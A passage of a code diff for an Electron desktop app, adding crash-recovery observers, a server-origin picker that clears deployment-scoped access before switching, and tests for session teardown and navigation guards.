+ vi.mocked(dialog.showMessageBox).mockImplementationOnce( + () => + new Promise((resolve) => { + resolvePrompt = resolve + }) + ) + const events = { filePath: '/tmp/events.log', record: vi.fn() } + const { handlers, source } = createProcessSource() + installMainProcessFailureObservers({ events, getWindow: () => null, processSource: source }) + + const fatalError = new Error('secret') + fatalError.name = 'Bearer SECRET' + handlers.get('unhandledRejection')?.(fatalError as never) + handlers.get('uncaughtException')?.(new Error('second') as never) + + expect(dialog.showMessageBox).toHaveBeenCalledOnce() + expect(events.record).toHaveBeenCalledOnce() + expect(events.record).toHaveBeenCalledWith('main_unhandled_rejection', { + valueType: 'Error', + }) + expect(JSON.stringify(events.record.mock.calls)).not.toContain('SECRET') + + resolvePrompt?.({ response: 0, checkboxChecked: false }) + await vi.waitFor(() => expect(app.relaunch).toHaveBeenCalledOnce()) + expect(app.exit).toHaveBeenCalledWith(1) + }) +}) diff --git a/apps/desktop/src/main/observability.ts b/apps/desktop/src/main/observability.ts index 6290c271d31..60c8e47b36c 100644 --- a/apps/desktop/src/main/observability.ts +++ b/apps/desktop/src/main/observability.ts @@ -1,6 +1,8 @@ import { appendFileSync, mkdirSync, renameSync, statSync } from 'node:fs' import { join } from 'node:path' import { createLogger } from '@sim/logger' +import type { BrowserWindow, Details } from 'electron' +import { app, dialog } from 'electron' const logger = createLogger('DesktopEvents') @@ -20,6 +22,9 @@ export type DesktopEventName = | 'load_failure' | 'renderer_gone' | 'renderer_unresponsive' + | 'child_process_gone' + | 'main_unhandled_rejection' + | 'main_uncaught_exception' | 'sign_out' | 'origin_changed' | 'handoff_started' @@ -34,6 +39,97 @@ export interface EventRecorder { record(name: DesktopEventName, data?: Record): void } +interface ProcessFailureSource { + on(event: 'unhandledRejection', listener: (reason: unknown) => void): void + on(event: 'uncaughtException', listener: (error: Error) => void): void +} + +export interface MainProcessFailureObserverDeps { + events: EventRecorder + getWindow: () => BrowserWindow | null + processSource?: ProcessFailureSource +} + +const FAILURE_DEDUPE_MS = 5_000 + +/** + * Records native child-process failures and gives a fatal main-process error a + * single native recovery surface. Error text is deliberately excluded from + * the structured log because rejected values can contain request payloads or + * credentials; the event kind and crash dumps are enough for triage. + */ +export function installMainProcessFailureObservers({ + events, + getWindow, + processSource = process, +}: MainProcessFailureObserverDeps): void { + let fatalRecoveryOpen = false + let lastChildFailure = '' + let lastChildFailureAt = 0 + + const onChildProcessGone = (_event: unknown, details: Details): void => { + if (details.reason === 'clean-exit') return + const signature = `${details.type}:${details.reason}:${details.exitCode}:${details.serviceName ?? ''}` + const now = Date.now() + if (signature === lastChildFailure && now - lastChildFailureAt < FAILURE_DEDUPE_MS) return + lastChildFailure = signature + lastChildFailureAt = now + events.record('child_process_gone', { + type: details.type, + reason: details.reason, + exitCode: details.exitCode, + ...(details.serviceName ? { serviceName: details.serviceName } : {}), + }) + logger.error('Electron child process exited unexpectedly', { + type: details.type, + reason: details.reason, + exitCode: details.exitCode, + }) + } + + const reportFatal = ( + name: 'main_unhandled_rejection' | 'main_uncaught_exception', + value: unknown + ): void => { + if (fatalRecoveryOpen) return + fatalRecoveryOpen = true + events.record(name, { valueType: value instanceof Error ? 'Error' : typeof value }) + logger.error('Fatal main-process failure', { kind: name }) + const options = { + type: 'error' as const, + buttons: ['Restart Sim', 'Quit Sim'], + defaultId: 0, + cancelId: 1, + message: 'Sim encountered a problem', + detail: 'Restart Sim to recover. Diagnostic details were saved locally.', + } + const win = getWindow() + const prompt = + win && !win.isDestroyed() + ? dialog.showMessageBox(win, options) + : dialog.showMessageBox(options) + void prompt + .then(({ response }) => { + if (response === 0) app.relaunch() + }) + .catch(() => {}) + .finally(() => { + app.exit(1) + }) + } + + const onUnhandledRejection = (reason: unknown): void => { + reportFatal('main_unhandled_rejection', reason) + } + const onUncaughtException = (error: Error): void => { + reportFatal('main_uncaught_exception', error) + } + + app.on('child-process-gone', onChildProcessGone) + processSource.on('unhandledRejection', onUnhandledRejection) + processSource.on('uncaughtException', onUncaughtException) +} + /** * Reduces a URL to origin + path for logging. Query strings and fragments are * dropped so tokens, states, and signed parameters never reach the event log. diff --git a/apps/desktop/src/main/security-guards.test.ts b/apps/desktop/src/main/security-guards.test.ts index 6e0b3830ef6..af486065a1f 100644 --- a/apps/desktop/src/main/security-guards.test.ts +++ b/apps/desktop/src/main/security-guards.test.ts @@ -92,6 +92,15 @@ describe('attachNavigationGuards', () => { expect(deps.onConnectIntercept).toHaveBeenCalled() }) + it('opens unknown cross-origin departures externally instead of replacing the app page', () => { + const contents = makeContents(`${APP}/workspace/ws1`) + attachNavigationGuards(contents as unknown as WebContents, makeDeps()) + const preventDefault = fire(contents, 'will-navigate', 'https://docs.example/page') + + expect(preventDefault).toHaveBeenCalled() + expect(shell.openExternal).toHaveBeenCalledWith('https://docs.example/page') + }) + it('denies non-web schemes', () => { const contents = makeContents(`${APP}/workspace/ws1`) attachNavigationGuards(contents as unknown as WebContents, makeDeps()) diff --git a/apps/desktop/src/main/security-guards.ts b/apps/desktop/src/main/security-guards.ts index 41499742e65..22a91554ec9 100644 --- a/apps/desktop/src/main/security-guards.ts +++ b/apps/desktop/src/main/security-guards.ts @@ -41,7 +41,6 @@ export function attachNavigationGuards(contents: WebContents, deps: GuardDeps): }) switch (action) { case 'in-app': - case 'idp-in-window': return case 'external': event.preventDefault() diff --git a/apps/desktop/src/main/server-window.test.ts b/apps/desktop/src/main/server-window.test.ts new file mode 100644 index 00000000000..2ee1b41571a --- /dev/null +++ b/apps/desktop/src/main/server-window.test.ts @@ -0,0 +1,288 @@ +import { beforeEach, describe, expect, it, vi } from 'vitest' + +vi.mock('electron', () => import('@/test/electron-mock')) + +import type { ConfigStore, OriginValidation } from '@/main/config' +import { createServerWindow, type ServerWindowDeps } from '@/main/server-window' + +const CURRENT = 'https://sim.example.com' +const DEFAULT = 'https://www.sim.ai' + +function makeConfig(origin: string, validate: (raw: string) => OriginValidation): ConfigStore { + let stored = origin + return { + filePath: '/tmp/settings.json', + isPersistenceAvailable: () => true, + getOrigin: () => stored, + setOrigin: vi.fn((raw: string) => { + const result = validate(raw) + if (result.ok) stored = result.origin + return result + }), + get: vi.fn(() => undefined), + set: vi.fn(), + flush: vi.fn(() => true), + } as unknown as ConfigStore +} + +function makeDeps(overrides: Partial = {}): ServerWindowDeps { + return { + config: makeConfig(CURRENT, (raw) => + raw.startsWith('https://') ? { ok: true, origin: raw } : { ok: false, error: 'bad origin' } + ), + defaultOrigin: DEFAULT, + pagePath: 'static/server.html', + preloadPath: '/tmp/preload.cjs', + isPackaged: false, + getParentWindow: () => null, + prepareDeploymentScopedStateChange: vi.fn(() => true), + clearDeploymentScopedState: vi.fn(async (): Promise => []), + completeDeploymentScopedStateChange: vi.fn((commit) => commit()), + relaunch: vi.fn(), + ...overrides, + } +} + +describe('server window', () => { + let deps: ServerWindowDeps + + beforeEach(() => { + deps = makeDeps() + }) + + it('reports the configured origin alongside the build default', () => { + expect(createServerWindow(deps).getConfiguration()).toEqual({ + origin: CURRENT, + defaultOrigin: DEFAULT, + isSimCloud: false, + }) + }) + + // Drives whether the offline page offers Sim's status page, which describes + // only Sim's own deployments. + it('marks a sim.ai origin as Sim cloud', () => { + const cloud = makeDeps({ + config: makeConfig('https://www.sim.ai', (raw) => ({ ok: true, origin: raw })), + }) + + expect(createServerWindow(cloud).getConfiguration().isSimCloud).toBe(true) + }) + + it('relaunches after storing a different origin', async () => { + const result = await createServerWindow(deps).setOrigin('https://sim.other.example') + + expect(result).toEqual({ ok: true, origin: 'https://sim.other.example', unchanged: false }) + expect(deps.relaunch).toHaveBeenCalledTimes(1) + }) + + // The saved route carries the previous deployment's workspace id, and + // resolveStartRoute only discards a route on a confirmed 403 — a fresh + // partition answers 401, so a kept route would survive onto the new server. + it('drops the saved route when the origin changes', async () => { + await createServerWindow(deps).setOrigin('https://sim.other.example') + + expect(deps.config.set).toHaveBeenCalledWith('lastRoute', undefined) + }) + + it('keeps the saved route when the origin is unchanged', async () => { + await createServerWindow(deps).setOrigin(CURRENT) + + expect(deps.config.set).not.toHaveBeenCalled() + }) + + // Re-confirming the pre-filled URL is the common case here. + it('does not relaunch when the origin is unchanged', async () => { + const result = await createServerWindow(deps).setOrigin(CURRENT) + + expect(result).toEqual({ ok: true, origin: CURRENT, unchanged: true }) + expect(deps.relaunch).not.toHaveBeenCalled() + }) + + // Filesystem grants and the agent browser's jar are device-global with no + // origin key, so without this the incoming deployment inherits directory + // access and live third-party sessions the user granted the outgoing one. + it('clears deployment-scoped capabilities before relaunching', async () => { + await createServerWindow(deps).setOrigin('https://sim.other.example') + + expect(deps.prepareDeploymentScopedStateChange).toHaveBeenCalledTimes(1) + expect(deps.clearDeploymentScopedState).toHaveBeenCalledTimes(1) + expect( + vi.mocked(deps.prepareDeploymentScopedStateChange).mock.invocationCallOrder[0] + ).toBeLessThan(vi.mocked(deps.clearDeploymentScopedState).mock.invocationCallOrder[0]) + expect(vi.mocked(deps.clearDeploymentScopedState).mock.invocationCallOrder[0]).toBeLessThan( + vi.mocked(deps.relaunch).mock.invocationCallOrder[0] + ) + expect(vi.mocked(deps.clearDeploymentScopedState).mock.invocationCallOrder[0]).toBeLessThan( + vi.mocked(deps.completeDeploymentScopedStateChange).mock.invocationCallOrder[0] + ) + expect( + vi.mocked(deps.completeDeploymentScopedStateChange).mock.invocationCallOrder[0] + ).toBeLessThan(vi.mocked(deps.config.set).mock.invocationCallOrder[0]) + expect( + vi.mocked(deps.completeDeploymentScopedStateChange).mock.invocationCallOrder[0] + ).toBeLessThan(vi.mocked(deps.config.setOrigin).mock.invocationCallOrder[0]) + expect( + vi.mocked(deps.completeDeploymentScopedStateChange).mock.invocationCallOrder[0] + ).toBeLessThan(vi.mocked(deps.relaunch).mock.invocationCallOrder[0]) + }) + + it('does not clear them when the origin is unchanged', async () => { + await createServerWindow(deps).setOrigin(CURRENT) + + expect(deps.clearDeploymentScopedState).not.toHaveBeenCalled() + }) + + it('does not erase or persist anything when recovery intent cannot be recorded', async () => { + const blocked = makeDeps({ prepareDeploymentScopedStateChange: vi.fn(() => false) }) + const handle = createServerWindow(blocked) + + await expect(handle.setOrigin('https://sim.other.example')).resolves.toMatchObject({ + ok: false, + }) + expect(blocked.clearDeploymentScopedState).not.toHaveBeenCalled() + expect(blocked.completeDeploymentScopedStateChange).not.toHaveBeenCalled() + expect(blocked.config.set).not.toHaveBeenCalled() + expect(blocked.config.setOrigin).not.toHaveBeenCalled() + expect(blocked.relaunch).not.toHaveBeenCalled() + + vi.mocked(blocked.prepareDeploymentScopedStateChange).mockReturnValue(true) + await expect(handle.setOrigin('https://sim.other.example')).resolves.toMatchObject({ ok: true }) + }) + + // The picker re-enables its button while a request is pending, and the IPC + // boundary is reachable regardless of what the page does, so the transaction + // has to be serialized here rather than in the renderer. + it('refuses a second change while one is in flight', async () => { + let release: (() => void) | undefined + const gate = new Promise((resolve) => { + release = resolve + }) + const slow = makeDeps({ + clearDeploymentScopedState: vi.fn(async (): Promise => { + await gate + return [] + }), + }) + const handle = createServerWindow(slow) + + const first = handle.setOrigin('https://sim.other.example') + const second = await handle.setOrigin('https://sim.third.example') + + expect(second).toMatchObject({ ok: false }) + expect(second).toHaveProperty('error', expect.stringContaining('already in progress')) + release?.() + await expect(first).resolves.toMatchObject({ ok: true, unchanged: false }) + expect(slow.relaunch).toHaveBeenCalledTimes(1) + expect(slow.config.setOrigin).toHaveBeenCalledTimes(1) + expect(slow.config.setOrigin).toHaveBeenCalledWith('https://sim.other.example') + }) + + // The guard must not latch: a refused change has to leave the picker usable. + it('allows a later change once the first has settled', async () => { + const failing = makeDeps({ + clearDeploymentScopedState: vi.fn(async () => ['local file access']), + }) + const handle = createServerWindow(failing) + + await handle.setOrigin('https://sim.other.example') + const second = await handle.setOrigin('https://sim.third.example') + + expect(second).toMatchObject({ ok: false }) + expect(second).toHaveProperty('error', expect.stringContaining('local file access')) + }) + + // Fail closed. A store that could not be emptied is access the incoming + // deployment would inherit and that startup would restore, so the change is + // refused outright — and because nothing is persisted until the teardown + // succeeds, refusing leaves the shell exactly where it was. + it('refuses the change when a store could not be cleared', async () => { + const failing = makeDeps({ + clearDeploymentScopedState: vi.fn(async () => ['local file access']), + }) + + const result = await createServerWindow(failing).setOrigin('https://sim.other.example') + + expect(result).toMatchObject({ ok: false }) + expect(result).toHaveProperty('error', expect.stringContaining('local file access')) + // The stores clear independently, so the other one may already be empty and + // cannot be restored. Naming only the failure would read as "nothing + // happened", which is not what happened. + expect(result).toHaveProperty('error', expect.stringContaining('may already have been cleared')) + expect(failing.relaunch).not.toHaveBeenCalled() + expect(failing.completeDeploymentScopedStateChange).not.toHaveBeenCalled() + expect(failing.config.setOrigin).not.toHaveBeenCalled() + expect(failing.config.getOrigin()).toBe(CURRENT) + }) + + it('refuses the change when the teardown throws outright', async () => { + const throwing = makeDeps({ + clearDeploymentScopedState: vi.fn(async () => { + throw new Error('keychain unavailable') + }), + }) + + const result = await createServerWindow(throwing).setOrigin('https://sim.other.example') + + expect(result).toMatchObject({ ok: false }) + expect(throwing.relaunch).not.toHaveBeenCalled() + expect(throwing.completeDeploymentScopedStateChange).not.toHaveBeenCalled() + expect(throwing.config.getOrigin()).toBe(CURRENT) + }) + + it('keeps teardown recovery pending when persisting the new origin fails', async () => { + const config = makeConfig(CURRENT, () => ({ ok: false, error: 'disk is read-only' })) + const failing = makeDeps({ config }) + + const result = await createServerWindow(failing).setOrigin('https://sim.other.example') + + expect(result).toEqual({ ok: false, error: 'disk is read-only' }) + expect(failing.completeDeploymentScopedStateChange).toHaveBeenCalledOnce() + expect(failing.relaunch).not.toHaveBeenCalled() + }) + + it('relaunches against the committed server when completing teardown fails', async () => { + const failing = makeDeps({ + completeDeploymentScopedStateChange: vi.fn((commit) => { + commit() + throw new Error('marker is read-only') + }), + }) + + const result = await createServerWindow(failing).setOrigin('https://sim.other.example') + + expect(result).toEqual({ + ok: true, + origin: 'https://sim.other.example', + unchanged: false, + }) + expect(failing.config.setOrigin).toHaveBeenCalledWith('https://sim.other.example') + expect(failing.config.getOrigin()).toBe('https://sim.other.example') + expect(failing.relaunch).toHaveBeenCalledOnce() + }) + + it('refuses the change while a stronger account teardown is active', async () => { + const failing = makeDeps({ + completeDeploymentScopedStateChange: vi.fn(() => false), + }) + + const result = await createServerWindow(failing).setOrigin('https://sim.other.example') + + expect(result).toMatchObject({ ok: false }) + expect(failing.config.set).not.toHaveBeenCalled() + expect(failing.config.setOrigin).not.toHaveBeenCalled() + expect(failing.completeDeploymentScopedStateChange).toHaveBeenCalledOnce() + expect(failing.relaunch).not.toHaveBeenCalled() + }) + + // Validated up front with the shell's own rule, before anything is torn down + // or written, so a typo costs nothing. + it('surfaces a rejected origin without tearing anything down', async () => { + const result = await createServerWindow(deps).setOrigin('ftp://sim.example.com') + + expect(result).toMatchObject({ ok: false }) + expect(result).toHaveProperty('error', expect.stringContaining('HTTPS')) + expect(deps.clearDeploymentScopedState).not.toHaveBeenCalled() + expect(deps.relaunch).not.toHaveBeenCalled() + expect(deps.config.getOrigin()).toBe(CURRENT) + }) +}) diff --git a/apps/desktop/src/main/server-window.ts b/apps/desktop/src/main/server-window.ts new file mode 100644 index 00000000000..193f73dd630 --- /dev/null +++ b/apps/desktop/src/main/server-window.ts @@ -0,0 +1,280 @@ +import type { DesktopServerChangeResult, DesktopServerConfiguration } from '@sim/desktop-bridge' +import { createLogger } from '@sim/logger' +import { getErrorMessage } from '@sim/utils/errors' +import { app, BrowserWindow, nativeTheme, session } from 'electron' +import type { ConfigStore, DesktopSettings } from '@/main/config' +import { canonicalOrigin, isSimCloudOrigin, validateOriginInput } from '@/main/config' +import { + backgroundColorFor, + createSecureWebPreferences, + setupPermissionHandlers, +} from '@/main/window' + +const logger = createLogger('DesktopServerWindow') + +const WINDOW_WIDTH = 520 +const WINDOW_HEIGHT = 340 + +/** + * The partition the server-selection window runs in. + * + * Deliberately NOT the app session's partition. This window exists to move the + * shell between deployments, so binding it to the partition of the deployment + * being left would tie the escape hatch to the state it is escaping — and the + * page is a bundled `file:` document that stores nothing, so it has no reason + * to touch a persistent jar at all. + */ +const SERVER_WINDOW_PARTITION = 'server-selection' + +/** + * Settings that describe the deployment rather than the device, and so must not + * survive a move to a different one. The home for this rule: `DesktopSettings` + * is a single global record with no per-origin namespace, so anything added + * there that names a Sim resource belongs in this list. + * + * `lastRoute` carries a workspace id in its path, so keeping it would open + * `/workspace/` on the new server. `resolveStartRoute` cannot rescue + * that: it discards a route only on a confirmed 403, and a fresh partition has + * no session, so the new server answers 401 and the stale route survives the + * probe. `browserKnownSites` describes the agent-browser profile that + * {@link ServerWindowDeps.clearDeploymentScopedState} clears, and is dropped + * with it so Sim is never left believing in sign-ins the profile no longer has. + */ +const ORIGIN_SCOPED_SETTINGS: readonly (keyof DesktopSettings)[] = [ + 'lastRoute', + 'browserKnownSites', +] + +export interface ServerWindowDeps { + config: ConfigStore + defaultOrigin: string + /** The bundled page to load, resolved by the caller like the offline page. */ + pagePath: string + preloadPath: string + isPackaged: boolean + getParentWindow: () => BrowserWindow | null + /** + * Drops the capabilities the OUTGOING deployment was granted, and reports + * what it could not drop. + * + * Local-filesystem grants and the agent browser's cookie jar live in + * device-global stores with no origin key, and both are capabilities the user + * handed to a specific Sim server: directories its agent may read, and live + * third-party sessions its agent may drive. Carrying them across would let + * the next deployment act with authority it was never given — which is why + * sign-out clears exactly this pair. + * + * Returns the human-readable name of each store that survived; empty means + * everything is gone. Reporting rather than throwing is what lets one store's + * failure not hide another's, and lets the caller refuse to move. + */ + clearDeploymentScopedState: () => Promise + /** Durably records the outgoing deployment before any capability is erased. */ + prepareDeploymentScopedStateChange: () => boolean + /** Atomically commits the new configuration and completes this server wipe. */ + completeDeploymentScopedStateChange: (commit: () => boolean) => boolean + /** + * Relaunches the shell against the newly stored origin. A full restart rather + * than an in-place swap: the origin decides the cookie partition, the update + * feed, the encrypted per-origin task state, and the identity every live + * browser view and PTY was opened under. Nothing in the app exposes a reset + * for that set — `ensureAppSession` and the partition cache are one-way + * memoizations, and the sign-out coordinator revokes server-side, which is + * wrong here (the old server's session should stay valid). The quit path + * already performs the orderly teardown, so relaunching reuses it. + */ + relaunch: () => void +} + +export interface ServerWindowHandle { + open(): void + getConfiguration(): DesktopServerConfiguration + setOrigin(origin: string): Promise +} + +/** + * The native server picker: how a self-hosted operator points the shell at + * their own deployment. + * + * Native rather than a page in the web app, because the web app is served BY + * the origin being changed. Someone whose stored origin is unreachable — a + * typo, a VPN-only host, an instance that moved — can never reach an in-app + * settings route to fix it, which is exactly when they need this most. The + * same reasoning gates its IPC channels to bundled `file:` senders. + */ +export function createServerWindow(deps: ServerWindowDeps): ServerWindowHandle { + let win: BrowserWindow | null = null + /** + * Serializes the destructive part of a change, the way the sign-out + * coordinator guards its own teardown. The picker re-enables its button + * while a request is pending, and the IPC boundary is reachable regardless + * of what the page does, so without this two changes could interleave their + * teardown and their write and let the later write pick the next server. + */ + let changeInFlight = false + + const getConfiguration = (): DesktopServerConfiguration => { + const origin = deps.config.getOrigin() + return { origin, defaultOrigin: deps.defaultOrigin, isSimCloud: isSimCloudOrigin(origin) } + } + + const close = (): void => { + if (win && !win.isDestroyed()) { + win.destroy() + } + win = null + } + + const open = (): void => { + if (win && !win.isDestroyed()) { + win.show() + win.focus() + return + } + const parent = deps.getParentWindow() + // Every other session in the app installs a permission handler; without one + // Electron decides for itself what a page may ask the OS for. The page here + // asks for nothing, and a foreign origin can never load in this window, so + // the shared handler resolves to a deny-all — which is the intent. + setupPermissionHandlers(session.fromPartition(SERVER_WINDOW_PARTITION), deps.config.getOrigin) + win = new BrowserWindow({ + width: WINDOW_WIDTH, + height: WINDOW_HEIGHT, + resizable: false, + minimizable: false, + maximizable: false, + fullscreenable: false, + title: 'Sim Server', + titleBarStyle: 'hiddenInset', + show: false, + // System preference only, unlike the main window: that one pre-paints for + // the web app it is about to load, whose theme the user picked in Sim. + // This window loads a bundled page that follows `prefers-color-scheme`, + // so honouring the stored web-app theme here would pre-paint dark behind + // a page about to render light whenever the two disagree. + backgroundColor: backgroundColorFor(undefined, nativeTheme.shouldUseDarkColors), + // Modal only when there is a live parent to attach to. A shell whose + // window is gone (or never opened, because the origin failed to load) + // still has to be able to reach this. + ...(parent && !parent.isDestroyed() ? { parent, modal: true } : {}), + webPreferences: createSecureWebPreferences( + SERVER_WINDOW_PARTITION, + deps.preloadPath, + deps.isPackaged + ), + }) + win.once('ready-to-show', () => { + win?.show() + }) + win.on('closed', () => { + win = null + }) + void win.loadFile(deps.pagePath).catch((error) => { + logger.error('Could not open the server window', { error: getErrorMessage(error) }) + }) + } + + const setOrigin = async (raw: string): Promise => { + const validated = validateOriginInput(raw) + if (!validated.ok) { + return validated + } + // Same canonicalization the store applies, so the comparison below matches + // what would actually be written. + const origin = canonicalOrigin(validated.origin) + const current = deps.config.getOrigin() + if (origin === current && deps.config.isPersistenceAvailable()) { + // Nothing moves, so nothing is torn down. Relaunching anyway would make + // "confirm the URL I already use" restart the app for no reason. + return { ok: true, origin, unchanged: true } + } + + if (changeInFlight) { + return { ok: false, error: 'A server change is already in progress.' } + } + changeInFlight = true + try { + if (!deps.prepareDeploymentScopedStateChange()) { + logger.error('Could not persist deployment-scoped recovery marker') + return { + ok: false, + error: 'Could not safely prepare the server change. Try again.', + } + } + // Fail closed, and clear BEFORE persisting. If a store cannot be emptied, + // the shell must not move: the incoming deployment would otherwise + // inherit folder grants and authenticated browser sessions the outgoing + // one was given, and they are restored on the next startup. Nothing has + // been written at this point, so refusing leaves the shell on the server + // it was already using rather than half-applying the change. + const surviving = await deps.clearDeploymentScopedState().catch((error) => { + logger.error('Deployment-scoped teardown threw', { error: getErrorMessage(error) }) + return ['local file access and built-in browser sessions'] + }) + if (surviving.length > 0) { + logger.error('Refusing to change server; deployment-scoped state survived', { surviving }) + // Deliberately describes the whole teardown, not just what failed. The + // stores clear independently, so one may already be empty by now, and + // there is nothing to roll back to — a revoked cookie jar and deleted + // security-scoped bookmarks cannot be un-deleted. Saying "some may have + // been cleared" is the honest account, and a retry is safe: clearing an + // already-empty store succeeds, so it finishes the job rather than + // repeating it. + return { + ok: false, + error: `Could not clear ${surviving.join(' or ')} from the current server, so the server was not changed. Some local access may already have been cleared. Try again to finish, or sign out first.`, + } + } + + const transaction: { + stored: ReturnType | null + } = { stored: null } + try { + const completed = deps.completeDeploymentScopedStateChange(() => { + for (const key of ORIGIN_SCOPED_SETTINGS) { + deps.config.set(key, undefined) + } + transaction.stored = deps.config.setOrigin(raw) + return transaction.stored.ok + }) + if (!completed) { + if (transaction.stored && !transaction.stored.ok) return transaction.stored + logger.error('Refusing to change server while account-data recovery is active') + return { + ok: false, + error: 'Finish signing out or restart Sim before changing servers.', + } + } + } catch (error) { + if (transaction.stored?.ok) { + logger.error('Server changed but deployment-scoped recovery remains pending', { + error: getErrorMessage(error), + }) + } else { + logger.error('Could not persist the new server origin', { + error: getErrorMessage(error), + }) + return { + ok: false, + error: 'Could not save the new server URL. Try again.', + } + } + } + + logger.info('Server origin changed; relaunching', { from: current, to: origin }) + close() + deps.relaunch() + return { ok: true, origin, unchanged: false } + } finally { + changeInFlight = false + } + } + + return { open, getConfiguration, setOrigin } +} + +/** Restarts the process in place. Split out so tests can drive the seam. */ +export function relaunchApp(): void { + app.relaunch() + app.quit() +} diff --git a/apps/desktop/src/main/session-lifecycle.test.ts b/apps/desktop/src/main/session-lifecycle.test.ts index 0623d5e2e18..b359110bf90 100644 --- a/apps/desktop/src/main/session-lifecycle.test.ts +++ b/apps/desktop/src/main/session-lifecycle.test.ts @@ -1,8 +1,16 @@ -import { describe, expect, it, vi } from 'vitest' +import { mkdtempSync, writeFileSync } from 'node:fs' +import { rm } from 'node:fs/promises' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' vi.mock('electron', () => import('@/test/electron-mock')) import { BrowserWindow, type Session } from 'electron' +import { + completeAccountDataTeardown, + initializeAccountDataRecovery, +} from '@/main/account-data-generation' import { createSessionLifecycleCoordinator, decideStartRoute, @@ -15,6 +23,18 @@ import { } from '@/main/session-lifecycle' const APP = 'https://sim.ai' +let recoveryDirectory: string + +beforeEach(() => { + recoveryDirectory = mkdtempSync(join(tmpdir(), 'sim-session-lifecycle-')) + initializeAccountDataRecovery(join(recoveryDirectory, 'teardown-required.json')) +}) + +afterEach(async () => { + completeAccountDataTeardown() + initializeAccountDataRecovery(null) + await rm(recoveryDirectory, { recursive: true, force: true }) +}) describe('isSessionCookieName', () => { it('matches the better-auth session cookie on secure and non-secure hosts', () => { @@ -148,10 +168,14 @@ describe('tearDownSession', () => { clearStorageData: vi.fn(async () => { order.push('session') }), + clearCache: vi.fn(async () => { + order.push('cache') + }), } as unknown as Session await tearDownSession( session, + APP, async () => { await Promise.resolve() order.push('local') @@ -167,18 +191,18 @@ describe('tearDownSession', () => { } ) - expect(order).toEqual(['revoke', 'local', 'browser', 'session']) + expect(order).toEqual(['revoke', 'local', 'browser', 'session', 'cache']) }) - it('still clears the web session when the browser profile cannot be cleared', async () => { - // Sign-out must complete even if the embedded browser is in a bad state; - // failing to clear its cookies is bad, failing to sign out is worse. + it('attempts every local erasure but rejects when the browser profile survives', async () => { const clearStorageData = vi.fn(async () => {}) - const session = { clearStorageData } as unknown as Session + const clearCache = vi.fn(async () => {}) + const session = { clearStorageData, clearCache } as unknown as Session await expect( tearDownSession( session, + APP, async () => {}, { filePath: '/tmp/events.log', record: vi.fn() }, async () => { @@ -186,19 +210,22 @@ describe('tearDownSession', () => { }, async () => {} ) - ).resolves.toBeUndefined() + ).rejects.toThrow('account-data stores could not be cleared') expect(clearStorageData).toHaveBeenCalled() + expect(clearCache).toHaveBeenCalled() }) - it('continues clearing account state when local teardown fails', async () => { + it('attempts every local erasure but rejects when account state survives', async () => { const clearStorageData = vi.fn(async () => {}) + const clearCache = vi.fn(async () => {}) const clearBrowserProfile = vi.fn(async () => {}) - const session = { clearStorageData } as unknown as Session + const session = { clearStorageData, clearCache } as unknown as Session await expect( tearDownSession( session, + APP, async () => { throw new Error('local store unavailable') }, @@ -206,20 +233,55 @@ describe('tearDownSession', () => { clearBrowserProfile, async () => {} ) - ).resolves.toBeUndefined() + ).rejects.toThrow('account-data stores could not be cleared') expect(clearBrowserProfile).toHaveBeenCalledOnce() expect(clearStorageData).toHaveBeenCalledOnce() + expect(clearCache).toHaveBeenCalledOnce() + }) + + it('does not erase local data when the recovery marker cannot be written', async () => { + const directory = mkdtempSync(join(tmpdir(), 'sim-account-recovery-')) + const blockedParent = join(directory, 'blocked') + initializeAccountDataRecovery(join(blockedParent, 'teardown-required.json')) + writeFileSync(blockedParent, 'not a directory') + const clearHandoffState = vi.fn(async () => {}) + const clearBrowserProfile = vi.fn(async () => {}) + const clearStorageData = vi.fn(async () => {}) + const clearCache = vi.fn(async () => {}) + + try { + await expect( + tearDownSession( + { clearStorageData, clearCache } as unknown as Session, + APP, + clearHandoffState, + { filePath: '/tmp/events.log', record: vi.fn() }, + clearBrowserProfile, + async () => {} + ) + ).rejects.toThrow('recovery marker') + + expect(clearHandoffState).not.toHaveBeenCalled() + expect(clearBrowserProfile).not.toHaveBeenCalled() + expect(clearStorageData).not.toHaveBeenCalled() + expect(clearCache).not.toHaveBeenCalled() + } finally { + initializeAccountDataRecovery(null) + await rm(directory, { recursive: true, force: true }) + } }) it('still clears local state when the server-side revoke fails', async () => { // Offline sign-out must not strand the user signed in locally. const clearStorageData = vi.fn(async () => {}) - const session = { clearStorageData } as unknown as Session + const clearCache = vi.fn(async () => {}) + const session = { clearStorageData, clearCache } as unknown as Session await expect( tearDownSession( session, + APP, async () => {}, { filePath: '/tmp/events.log', record: vi.fn() }, async () => {}, @@ -231,6 +293,26 @@ describe('tearDownSession', () => { expect(clearStorageData).toHaveBeenCalled() }) + + it('rejects when the app cache cannot be cleared', async () => { + const session = { + clearStorageData: vi.fn(async () => {}), + clearCache: vi.fn(async () => { + throw new Error('cache busy') + }), + } as unknown as Session + + await expect( + tearDownSession( + session, + APP, + async () => {}, + { filePath: '/tmp/events.log', record: vi.fn() }, + async () => {}, + async () => {} + ) + ).rejects.toThrow('account-data stores could not be cleared') + }) }) describe('revokeAppSession', () => { @@ -292,10 +374,12 @@ describe('createSessionLifecycleCoordinator', () => { const cookiesOn = vi.fn() const webRequestOnCompleted = vi.fn() const clearStorageData = vi.fn(async () => {}) + const clearCache = vi.fn(async () => {}) const session = { cookies: { on: cookiesOn }, webRequest: { onCompleted: webRequestOnCompleted }, clearStorageData, + clearCache, fetch: vi.fn(async () => Response.json(null)), } as unknown as Session const first = new BrowserWindow() @@ -333,4 +417,35 @@ describe('createSessionLifecycleCoordinator', () => { }) expect(clearHandoffState).toHaveBeenCalledOnce() }) + + it('shares one awaitable teardown and does not open login when clearing fails', async () => { + let releaseBrowserClear: (() => void) | undefined + const browserClear = new Promise((resolve) => { + releaseBrowserClear = resolve + }) + const win = new BrowserWindow() + const coordinator = createSessionLifecycleCoordinator({ + appSession: { + cookies: { on: vi.fn() }, + clearStorageData: vi.fn(async () => { + throw new Error('storage locked') + }), + clearCache: vi.fn(async () => {}), + } as unknown as Session, + origin: () => APP, + events: { filePath: '/tmp/events.log', record: vi.fn() }, + clearHandoffState: vi.fn(async () => {}), + clearBrowserProfile: vi.fn(() => browserClear), + getWindows: () => [win], + }) + + const first = coordinator.signOut() + const second = coordinator.signOut() + expect(first).toBe(second) + await expect(coordinator.awaitTeardown(1)).resolves.toBe(false) + + releaseBrowserClear?.() + await expect(first).resolves.toBe(false) + expect(win.loadURL).not.toHaveBeenCalled() + }) }) 